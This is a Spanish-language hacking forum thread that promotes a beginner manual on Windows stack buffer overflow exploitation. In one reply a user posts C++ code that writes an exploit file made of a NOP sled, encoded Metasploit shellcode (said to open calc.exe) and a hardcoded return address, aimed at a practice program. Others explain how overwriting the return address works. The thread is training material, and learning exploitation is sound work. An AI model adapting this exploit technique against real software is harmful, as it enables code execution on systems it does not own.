Tema destacado: [AIO elhacker.NET] Compilación herramientas análisis y desinfección malware
Autor
|
Tema: [Manual] Buffer Overflow en Windows (Leído 16,401 veces)
|
ikary
Desconectado
Mensajes: 127
|
Bueno, pues finalmente me decidí a crear un manual de Buffer Overflow en Windows.  El manual describe de forma muy simple, con imagenes y palabras poco tecnicas, la creación y explotación de un programa vulnerable a BoF. El manual está orientado a la gente que empieza, se explica el uso de Ollydbg, la pila, creacion de un exploit, uso y como conseguir una shellcode, como introducirla...etc. Vamos, a mi entender, incluye lo basico y esencial para comenzar a dar los primeros pasitos en este tema. Os dejo el Indice del documento. INTRODUCCION 2
DEBUGGER OLLY 3
Ventana de Desensamblado 4 Ventana de Registros 5 Ventana de Stack (pila) 6
OVERFLOW (EXPLICACION) 7
CREANDO UN PROGRAMA VULNERABLE 8
HACIENDO OVERFLOW 10
ENCONTRANDO EIP 13
BUSCANDO UN RETORNO 16
CREANDO UN EXPLOIT 17
EXPLOTANDO! (FUNCION OCULTA) 18
CREANDO UNA SHELLCODE 20
MODIFICANDO EL EXPLOIT 21
EXPLOTANDO! (CON SHELLCODE) 23
DESPEDIDA Y REFERENCIAS 24 Bueno, espero que le hecheis un vistazo y me comentais que tal. Rapidshare: http://rapidshare.com/files/354973639/Buffer_Overflow_Windows_por_Ikary.pdfMediafire: http://www.mediafire.com/?mnylmt2iyznScribd: http://www.scribd.com/doc/27365589SkyDriver: Buffer_Overflow_Windows_por_Ikary.pdf -Anon- Megaupload: http://www.megaupload.com/?d=9QXSPT20 -peibol0.1- Un saludo.
|
|
|
|
« Última modificación: 24 Febrero 2010, 04:16 por ikary »
|
En línea
|
|
|
|
Shell Root
Desconectado
Mensajes: 2.456
Alex Jurado
|
Joder, Rapidshare, es una *****, podrias subirlo a otro hosting, Mediafire yo que sé
|
|
|
|
|
En línea
|
 ---
|
|
|
|
|
Shell Root
Desconectado
Mensajes: 2.456
Alex Jurado
|
Thanks! Downloading...
Edit: Está Very Nice!
|
|
|
|
« Última modificación: 8 Febrero 2010, 20:10 por Shell Root »
|
En línea
|
 ---
|
|
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Muy buen manual, de hecho, cuando lei la lista del contenido me llego un dejavu, y la verdad no supe que es lo que cambio en la matrix xD. Muchas Gracias!!! Saludos
He hecho un mirror en SkyDriver  no me vean feo por favor. Por lo menos ahí no salen pop ups Buffer_Overflow_Windows_por_Ikary.pdfikary, si haces alguna otra modificacion del manual cosas que creo me avisas para reaculizar mi link xD
|
|
|
|
« Última modificación: 8 Febrero 2010, 23:56 por Anon »
|
En línea
|
|
|
|
ikary
Desconectado
Mensajes: 127
|
Muy buen manual, de hecho, cuando lei la lista del contenido me llego un dejavu, y la verdad no supe que es lo que cambio en la matrix xD
XDDDD Gracias Anon  Ahora estoy preparando todo para hacer el video y terminar de modificar algunas cosillas que me han ido diciendo por privado. Cuando termine con el CEH intentare hacer uno parecido pero en remote  PD: agrego tu link al post principal. Un saludo
|
|
|
|
|
En línea
|
|
|
|
~ Yoya ~
Wiki
Desconectado
Mensajes: 954
|
Bueno, aunque no uso window desde hace tiempo, vi estubo muy bien documentando, y la explicacion de las memoria igual xD.
|
|
|
|
|
En línea
|
|
|
|
|
|
ikary
Desconectado
Mensajes: 127
|
Bueno, aunque no uso window desde hace tiempo El manual lo enfoqué en sistemas Windows por la poca documentacion en español que habia sobre este ataque. Además que considero muy importante conocer los metodos de explotacion no solo de un tipo especifico de SO, nunca sabes lo que te vas a encontrar durante un ataque real. Los extremos no son buenos  vi estubo muy bien documentando, y la explicacion de las memoria igual xD. Excelente manual para nobatos como yo  :P Gracias ^^ me alegro que le sirva de algo a alguien  te e subido el archivo a Mega Gracias, lo añado al post principal ^^ Un saludo
|
|
|
|
|
En línea
|
|
|
|
<< Lucas, ¿quién más? >>
Desconectado
Mensajes: 51
ANTI KIRCHNER- MONTONEROS - TERRORISTAS Y ASESINOS
|
No lo leí todo, pero hasta donde iba leyendo está excelente 
|
|
|
|
|
En línea
|
Personalmente, prefiero tecnologías de Microsoft. Yo reconozco que defendí el software libre, pero ahora yo quiero vivir de esto. Mi trabajo.
|
|
|
soez
Desconectado
Mensajes: 50
|
Ikary te felicito por el tuto!!  y bueno despues de hacer el tutorial en mi pc no me termina de salir :-/ Lo de que aparezca la funcion oculta si me sale, pero yo metiendole mi propio payload para calc.exe sacado de metasploit no me termina de salir, te pongo el codigo y alguna foto a ver si ves algo #include <cstdlib> #include <iostream> #include <fstream> using namespace std;
int main() { char ret[] = "\x58\xFA\x22\x00"; char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; unsigned char shellcode[] = "\xdb\xcd\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x33\xbf\x0f\x5a\x74" "\xeb\x31\x7e\x17\x83\xc6\x04\x03\x71\x49\x96\x1e\x71\x85\xdf" "\xe1\x89\x56\x80\x68\x6c\x67\x92\x0f\xe5\xda\x22\x5b\xab\xd6" "\xc9\x09\x5f\x6c\xbf\x85\x50\xc5\x0a\xf0\x5f\xd6\xba\x3c\x33" "\x14\xdc\xc0\x49\x49\x3e\xf8\x82\x9c\x3f\x3d\xfe\x6f\x6d\x96" "\x75\xdd\x82\x93\xcb\xde\xa3\x73\x40\x5e\xdc\xf6\x96\x2b\x56" "\xf8\xc6\x84\xed\xb2\xfe\xaf\xaa\x62\xff\x7c\xa9\x5f\xb6\x09" "\x1a\x2b\x49\xd8\x52\xd4\x78\x24\x38\xeb\xb5\xa9\x40\x2b\x71" "\x52\x37\x47\x82\xef\x40\x9c\xf9\x2b\xc4\x01\x59\xbf\x7e\xe2" "\x58\x6c\x18\x61\x56\xd9\x6e\x2d\x7a\xdc\xa3\x45\x86\x55\x42" "\x8a\x0f\x2d\x61\x0e\x54\xf5\x08\x17\x30\x58\x34\x47\x9c\x05" "\x90\x03\x0e\x51\xa2\x49\x44\xa4\x26\xf4\x21\xa6\x38\xf7\x01" "\xcf\x09\x7c\xce\x88\x95\x57\xab\x69\x67\x6a\x21\xfd\xde\x1f" "\x08\x63\xe1\xf5\x4e\x9a\x62\xfc\x2e\x59\x7a\x75\x2b\x25\x3c" "\x65\x41\x36\xa9\x89\xf6\x37\xf8\xe9\x99\xab\x60\xc0\x3c\x4c" "\x02\x1c";
cout << "Creando exploit\n\n"; ofstream fichero; fichero.open("archivo.txt"); fichero << nops << shellcode << ret ; fichero.close(); cout << "ya esta!!!";
return 0; }
 El programa vulnerable es el mismo que el del tutorial, vamos que con 316 caracteres deberia llegar al EIP sin embargo...  PD. El ret es la direccion de memoria donde empieza el shell code no? Digamos que hace como un pequeño loop para ejecutarse? Saludos y gracias PD2. 89 nops y 227 tamaño del shell code
|
|
|
|
« Última modificación: 14 Febrero 2010, 17:43 por soez »
|
En línea
|
01001010 01100001 01110110 01101001 01100101 01110010
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Muchas veces las cosas cambian de un sistema a otro tanto el SP y otras cosas pueden hacer que el programa varie, también la versión del compilador y demas cosas.
Si se a leido todo el texto, solo necesitaras depurar un poco para que las cosas que estan saliendo mal se resuelvan.
Saludos
|
|
|
|
|
En línea
|
|
|
|
soez
Desconectado
Mensajes: 50
|
Lo sé de hecho con la funcion oculta la direccion de memoria a la que apuntaba era otra y fue la que puse y asi me salió, no lo he calcado y bueno siguiendo el tutorial si no he entendido mal habia que coger la direccion de la pila donde empieza el payload y asi lo he hecho como muestro en la imagen. La duda que tengo aparte de si se ve algun error en lo que hice, es que hay que meter el codigo de la accion que queremos lograr (payload si mal no entiendo) dentro del todo el shell code y por ultimo ponerle la direccion EIP=(ret) en el tuto de nuevo el trozo donde empieza el payload dentro del shell code con lo que queremos lograr cierto? Quiero decir que si el shell code esta compuesto de nops+payload+ret cuando ejecutamos el exploit se ejecutan los 3 y la direccion ret tiene que apuntar de nuevo al payload dentro del shell code no? Saludos PD. Aclararme si estoy equivocado en los conceptos 
|
|
|
|
« Última modificación: 14 Febrero 2010, 18:33 por soez »
|
En línea
|
01001010 01100001 01110110 01101001 01100101 01110010
|
|
|
AlbertoBSD
Estudiante y
Colaborador
 
Desconectado
Mensajes: 1.955
Anonymous & Paranoid
|
Así es la dirección que tu pones en en tu código como RET debe de sobrescribir el ret de la función, para que cuando retorne a la función que lo llamo, retorne en su lugar a tu dirección de RET asi siempre y cuando la dirección que le pasaste apunte a uno de los nops o al primer byte del payload se ejecutara, aqui cabe mencionar que hay veces que no es necesario usar nops, es solo para tener mas pista de aterrizaje xD
Saludos
|
|
|
|
|
En línea
|
|
|
|
|
|